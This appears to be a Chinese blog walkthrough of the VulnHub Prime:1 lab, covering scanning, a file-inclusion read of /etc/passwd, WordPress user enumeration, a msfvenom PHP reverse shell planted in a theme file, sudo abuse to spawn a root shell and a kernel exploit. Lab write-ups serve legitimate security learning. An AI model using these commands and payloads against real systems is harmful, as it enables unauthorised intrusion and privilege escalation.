当前位置: 首页 > news >正文

vulnhub prime1通关

目录

环境安装

1.信息收集

收集IP

端口扫描

目录扫描

 目录文件扫描

查找参数

打Boss

远程文件读取

木马文件写入

权限提升

方法一

解锁密钥

方法二:

linux内核漏洞提权

总结

环境安装

Kali2021.4及其prime靶机

靶机安装:Prime: 1 ~ VulnHub

 解压后点击下面选中文件,选择虚拟机打开即可,

 然后修改一下设置,采用NAT模式就行,nat可以通过主机与外部网络连接,且有独立ip

 打开虚拟机即可

1.信息收集

收集IP

arp-scan -l

通过http://<ip>的形式访问,确定了靶机IP为192.168.232.128

端口扫描

nmap <ip>

 开启了22端口(ssh服务)、80端口(http)。

目录扫描

dirb http://192.168.232.128 

访问/dev,发现提示,应该深度挖掘

 目录文件扫描

dirb http://192.168.232.128 -X .txt,.php,.html,.zip

 

 哦!secret.txt,快快快

提示:我们fuzz一下,然后就是github那个网址,还有查看location.txt,发现直接访问/location.txt并不行,那先放一放,看看github网站

具体如下:

COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something

查找参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://192.168.232.128/index.php?FUZZ=location.txt

 一大堆是line=7,应该都不是我们所需要的,随便试一个也没有回显,现在我们可以添加命令--h; 7 过滤line=7

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 --hl 7 http://192.168.232.128/index.php?FUZZ=location.txt

发现file参数,此时猜测可能与文件包含有关,快快快传入file=location.txt试试,成功!

打Boss

远程文件读取

再看看/etc/passwd,看看,看来只限于读取location.txt文件

根据上述location的提示:出现下一个参数secrettier360,试试看

空空如也

不过之前还扫出个image.php吗?再在传参试试

成功,并且可以远程读文件,读个/etc/passwd试试,发现关键,现在再看看/home/saket/password.txt,读取到密码"follow_the_ippsec"。

猜测可能是ssh的密码,试试看

看来是不对了。

回看之前web目录扫描的时候,看到下列信息

访问看看,发现要登录

但是没有Username,不过我们不难看出,该网站是用wordpress搭建的,于是我们就是用专用于改模块的工具看看用户

wpscan --url http://192.168.232.128/wordpress -e

确定了用户名victor

登录看看,成功登录!

木马文件写入

一个一个看,最后发现Appearance-Theme Editor-secret.php这个文件可以更改内容,那就插入木马文件吧

kali可以使用msf来生成后木马文件(ip要改为kali的ip),其实传入一句话木马也行,然后蚁剑连接,但是后续我没有试过了

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.232.152 LPORT=7777  -o mshell.php

 启动msf

msfconsole  //启动
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.232.152
set lport 7777
run

此时就说明连接成功了

但是还要执行一个'shell'指令才能执行命令行,如下

权限提升

方法一

解锁密钥

先 whoami  查看用户

www-data,比一般的用户权限还要低。

看看我们能执行的

sudo -l

sudo -l 是一个在Unix/Linux系统(包括Kali Linux)中用于查询当前用户所拥有的sudo权限的命令。当你执行 sudo -l 时,系统会列出你作为当前用户可以执行哪些命令以及使用sudo时无需再次输入密码的命令配置。

 访问/home/saket/enc,权限不够,那我们看看别的

 

cat enc也行不通,但是由上图发现enc有执行权限,不管什么先执行看看

要输入密码,试试之前那个,如上没有任何回显,说明密码不对,但是一般而言对于密码系统都会有备份文件,试着找一下

find / -name '*backup*' 2>/dev/null  | less| sortfind /:在根目录寻找包含backup字符串的文件
2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出
| less 把前的指令内容用less指令执行
| sort 把输出内容以以首字母排序

 找到可疑文件,查看试试

拿到可疑密码,backup_password

密码正确,权限不够,但是此时好像跟enc.txt,key.txt有关,那就看看

顺便看一下,又得知enc是一种openssl加密方式、key即为密钥

openssl解密

命令

echo '{要解密的字符串}' | openssl enc -d -a -{解密算法} -K {key值}{key}必须为十六进制编码
md5加密
echo -n "ippsec" | md5sum
转为十六进制
echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1 |tr -d ' ' |tr -d '\n'| od -An -t x1:管道 (|) 将 echo 输出的内容传递给 od(octal dump)命令。-An 参数表示不打印地址,-t x1 表示以十六进制形式输出每个字节。
| tr -d ' ':tr(translate)命令用于删除指定字符,这里的 -d ' ' 表示删除所有空格。
| tr -d '\n':再次使用 tr 命令删除所有的换行符(\n)。

然后把openssl的解密方法下载至CryptType文中

红线以下的内容全部保存在CryptType文件中

然后使用批解密的方式,进行解密

 for i in $(cat CryptType);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null; echo $i;done

 aes-256-cbc解密成功

 根据提示,有可能是ssh的端口的密码。

ssh saket@<ip>

成功连接,现在至升到了一般用户,接下来提权到root

继续看看可执行的命令,sudo -l

提示,到/home/victor/undefeated_victor,所以sudo /home/victor/undefeated_victor

然后我们可以执行一个python命令来优化命令执行

python -c 'import pty;pty.spawn("/bin/bash")'

 

使得$变为了saket@ubuntu,方便我们更好查看所属目录

再根据上上图片的提示,发现没有找到/tmp/challenge,应该是要我们自己创建

几乎要先cd /tmp 到该目录下

写入内容

#!/bin/bash
/bin/bash

在上述命令中,sudo 会让用户临时以root权限执行 /bin/bash,前提是你有足够的权限(即已授权sudo且知道sudo密码)。

 成功写入,但后附与该文件执行权限

chmod +x challenge

再次执行

sudo /home/victor/undefeated_victor

即可拿到root命令行

读取flag即可

下面展示未使用优化命令行,由于已经生成了challenge文件,就不比在演示了

方法二:

linux内核漏洞提权

此时还是在msf中的

查看内核版本

hostnamectl
或者
uname -a

再创建一个msf的窗口,查找内核漏洞

找到后,使用下述命令把它copy到家目录(~)下

cp /usr/share/exploitdb/exploits/linux/local/45010.c ~

用gcc编译它,并保存为yf文件(随便取)

gcc 45010.c -o yf

然后使用msf的upload指令把该文件放在靶机中

upload ~/yf /tmp/45010

然后shell,使用终端查看后,对该45010文件赋予(x)执行权限。最后 ./45010 执行该文件即可

 此处没有成功的原因是kali的版本过高了,没有成功。

一般执行之后应该是下图

然后就是到root目录下拿取root.txt就可以了。

总结

大致熟悉了渗透的过程,了解了msf的使用,以及Linux内核提权,解密钥等的方法。

相关文章:

vulnhub prime1通关

目录 环境安装 1.信息收集 收集IP 端口扫描 目录扫描 目录文件扫描 查找参数 打Boss 远程文件读取 木马文件写入 权限提升 方法一 解锁密钥 方法二&#xff1a; linux内核漏洞提权 总结 环境安装 Kali2021.4及其prime靶机 靶机安装&#xff1a;Prime: 1 ~ Vul…...

JVM快速入门(1)JVM体系结构、运行时数据区、类加载器、线程共享和独享、分区、Java对象实例化

5.1 JVM体系结构 线程独占区-程序计数器&#xff08;Program Counter Register&#xff09; 程序计数器是一块较小的内存空间&#xff0c;它可以看做是当前线程所执行的字节码的行号指示器&#xff1b;在虚拟机的概念模型里&#xff0c;字节码解释器工作时就是通过改变这个计数…...

CSS3新属性(学习笔记)

一、. 圆角 border-radius:; 可以取1-4个值&#xff08;规则同margin&#xff09; 可以取px和% 一般用像素&#xff0c;画圆的时候用百分比&#xff1a;border-radius:50%; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8&q…...

41-Vue-webpack基础

webpack基础 前言什么是webpackwebpack的基本使用指定webpack的entry和output 前言 本篇开始来学习下webpack的使用 什么是webpack webpack: 是前端项目工程化的具体解决方案。 主要功能&#xff1a;它提供了友好的前端模块化开发支持&#xff0c;以及代码压缩混淆、处理浏览…...

数据仓库的分层理论

数据仓库的分层理论是为了更好地组织和管理数据&#xff0c;支持复杂的数据分析和决策支持。在这一理论中&#xff0c;数据仓库被分为多个层次&#xff0c;每个层次都有其特定的作用和设计原则。以下是每一层的详细介绍&#xff0c;以及以销售人员为例的Doris建表实例。 ODS层…...

MySQL 8.0-索引- 不可见索引(invisible indexes)

概述 MySQL 8.0引入了不可见索引(invisible index)&#xff0c;这个在实际工作用还是用的到的&#xff0c;我觉得可以了解下。 在介绍不可见索引之前&#xff0c;我先来看下invisible index是个什么或者定义。 我们依然使用拆开来看&#xff0c;然后再把拆出来的词放到MySQL…...

Uibot6.0 (RPA财务机器人师资培训第3天 )财务招聘信息抓取机器人案例实战

训练网站&#xff1a;泓江科技 (lessonplan.cn)https://laiye.lessonplan.cn/list/ec0f5080-e1de-11ee-a1d8-3f479df4d981https://laiye.lessonplan.cn/list/ec0f5080-e1de-11ee-a1d8-3f479df4d981https://laiye.lessonplan.cn/list/ec0f5080-e1de-11ee-a1d8-3f479df4d981(本博…...

Eureka和Nacos的关系

目录 它们的比较&#xff1a; 结论&#xff1a; Eureka和Nacos都是服务发现和注册中心&#xff0c;它们在微服务架构中扮演着关键角色&#xff0c;但它们是由不同的组织开发的&#xff0c;服务于类似但不完全相同的目的。以下是它们之间的关系&#xff1a; Eureka&#xff1a…...

极简自建web视频会议,私有云,rtmp/rtsp/webrtc一键参会直播会议互动方案

随着视频互动深入工作日常&#xff0c;很多客户需要自建一个会议&#xff0c;监控的交互平台&#xff0c;目前外面不管是开源还是非开源的平台&#xff0c;都是极为复杂&#xff0c;一般linux安装库关联部署复杂&#xff0c;非技术人员根本没办法使用&#xff0c;不方便集成部署…...

5G智能网关助力工业铸造设备监测升级

随着物联网技术的迅猛发展和工业4.0浪潮的推进&#xff0c;传统工业正面临着严峻的转型升级压力。在这一背景下&#xff0c;铸造行业——这一典型的传统重工业领域&#xff0c;也必须积极探索借助5G、物联网、边缘计算等技术提升生产经营效率的新路径。 本文就基于佰马合作伙伴…...

奇舞周刊第523期:来自 rust 生态的强烈冲击?谈谈 Leptos 在语法设计上的精妙之处...

奇舞推荐 ■ ■ ■ 来自 rust 生态的强烈冲击&#xff1f;谈谈 Leptos 在语法设计上的精妙之处 过去很长一段时间&#xff0c;前端框架们都在往响应式的方向发展。同时又由于 React hooks 的深远影响&#xff0c;函数式 响应式成为了不少前端心中最理想的前端框架模样。Solid …...

《边缘计算:连接未来的智慧之桥》

随着物联网、5G等技术的快速发展&#xff0c;边缘计算作为一种新兴的计算模式&#xff0c;正逐渐引起人们的广泛关注。边缘计算通过将数据处理和存储功能放置在距离数据产生源头更近的位置&#xff0c;实现了更快速、更可靠的数据处理和交换&#xff0c;为各行各业带来了前所未…...

php 各种魔术函数的触发条件

2024.3.20 1、__construct() __construct() 用于在创建对象时自动触发 当使用 new 关键字实例化一个类时&#xff0c;会自动调用该类的 __construct() 方法 <?php class MyClass {public function __construct() {echo "已触发 __construct 一次";} }$obj new …...

Linux的学习之路:2、基础指令(1)

一、ls指令 上篇文章已经说了一点点的ls指令&#xff0c;不过那还是不够的&#xff0c;这篇文章会介绍更多的指令&#xff0c;最起码能使用命令行进行一些简单的操作&#xff0c;下面开始介绍了 ls常用选项 -a 列出目录下的所有文件&#xff0c;包括以 . 开头的隐含文件。 -d…...

0103设计算法-算法基础-算法导论第三版

文章目录 一、分治法二、分析分治算法结语 我们可以选择使用的算法设计技术有很多。插入排序使用了增量方法&#xff1a;在排序子数组 A [ 1 ⋯ j − 1 ] A[1\cdots j-1] A[1⋯j−1]后&#xff0c;将单个元素 A [ j ] A[j] A[j]插入子数组的适当位置&#xff0c;产生排序好的子…...

[NCTF2019]SQLi ---不会编程的崽

欸嘿&#xff0c;继续sql注入。又是新的sql注入类型 很直接哦&#xff0c;给出了sql查询语句。简单扫描一下&#xff0c;robots.txt还能访问。里边提示hint.txt $black_list "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00…...

上位机开发 halcon坐标转轴坐标

背景 上位机开发中有一种相机叫标定相机,主要是有来给某些要进行根据CAD图点位计算时当前产品实际点位坐标时使用的一种标定测量相机。主要原理是根据两个或多个指定的标定点进行取图计算圆心坐标,再将视觉计算出的圆心坐标和取图时的轴坐标进行偏差计算。最后得到标定点轴的…...

[数据结构]二叉树(下)

一、二叉树的节点和深度关系 1.满二叉树 我们可以假设二叉树有N个节点&#xff0c;深度为h我们可以恒容易得到满二叉树每行的节点数&#xff0c;然后错位相减,算出节点与高度的关系。 2.完全二叉树 注意我这个是因为最后一行的节点数为1。 二、向上调整建堆和向下调整建堆的时…...

动手学深度学习|notebook教程

D2L.AI&#xff5c;《动手学深度学习》Notebooks 目录 面向中文读者的能运行、可讨论的深度学习教科书 含 PyTorch、NumPy/MXNet、TensorFlow 和 PaddlePaddle 实现 被全球 70 多个国家 500 多所大学用于教学 github 下面是整理好的&#xff0c;可以直接运行的notebook 0 前…...

C#面:简述 .NET Framework 类库中的“命名空间”

在 C# 中&#xff0c;命名空间&#xff08;Namespace&#xff09;是一种用于组织和管理代码的机制。它提供了一种将相关的类、接口、结构体和其他类型组织在一起的方式&#xff0c;以便更好地管理和维护代码。 .NET Framework类库中的命名空间是一种逻辑上的分组&#xff0c;它…...

Python爬虫实战:研究MechanicalSoup库相关技术

一、MechanicalSoup 库概述 1.1 库简介 MechanicalSoup 是一个 Python 库,专为自动化交互网站而设计。它结合了 requests 的 HTTP 请求能力和 BeautifulSoup 的 HTML 解析能力,提供了直观的 API,让我们可以像人类用户一样浏览网页、填写表单和提交请求。 1.2 主要功能特点…...

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…...

线程同步:确保多线程程序的安全与高效!

全文目录&#xff1a; 开篇语前序前言第一部分&#xff1a;线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分&#xff1a;synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分&#xff…...

为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?

在建筑行业&#xff0c;项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升&#xff0c;传统的管理模式已经难以满足现代工程的需求。过去&#xff0c;许多企业依赖手工记录、口头沟通和分散的信息管理&#xff0c;导致效率低下、成本失控、风险频发。例如&#…...

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU&#xff1a;如何让RNN变得更聪明&#xff1f; 在深度学习的世界里&#xff0c;循环神经网络&#xff08;RNN&#xff09;以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而&#xff0c;传统RNN存在的一个严重问题——梯度消失&#…...

《用户共鸣指数(E)驱动品牌大模型种草:如何抢占大模型搜索结果情感高地》

在注意力分散、内容高度同质化的时代&#xff0c;情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现&#xff0c;消费者对内容的“有感”程度&#xff0c;正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中&#xff0…...

GitHub 趋势日报 (2025年06月08日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

Rust 异步编程

Rust 异步编程 引言 Rust 是一种系统编程语言,以其高性能、安全性以及零成本抽象而著称。在多核处理器成为主流的今天,异步编程成为了一种提高应用性能、优化资源利用的有效手段。本文将深入探讨 Rust 异步编程的核心概念、常用库以及最佳实践。 异步编程基础 什么是异步…...

MySQL 8.0 OCP 英文题库解析(十三)

Oracle 为庆祝 MySQL 30 周年&#xff0c;截止到 2025.07.31 之前。所有人均可以免费考取原价245美元的MySQL OCP 认证。 从今天开始&#xff0c;将英文题库免费公布出来&#xff0c;并进行解析&#xff0c;帮助大家在一个月之内轻松通过OCP认证。 本期公布试题111~120 试题1…...

Git常用命令完全指南:从入门到精通

Git常用命令完全指南&#xff1a;从入门到精通 一、基础配置命令 1. 用户信息配置 # 设置全局用户名 git config --global user.name "你的名字"# 设置全局邮箱 git config --global user.email "你的邮箱example.com"# 查看所有配置 git config --list…...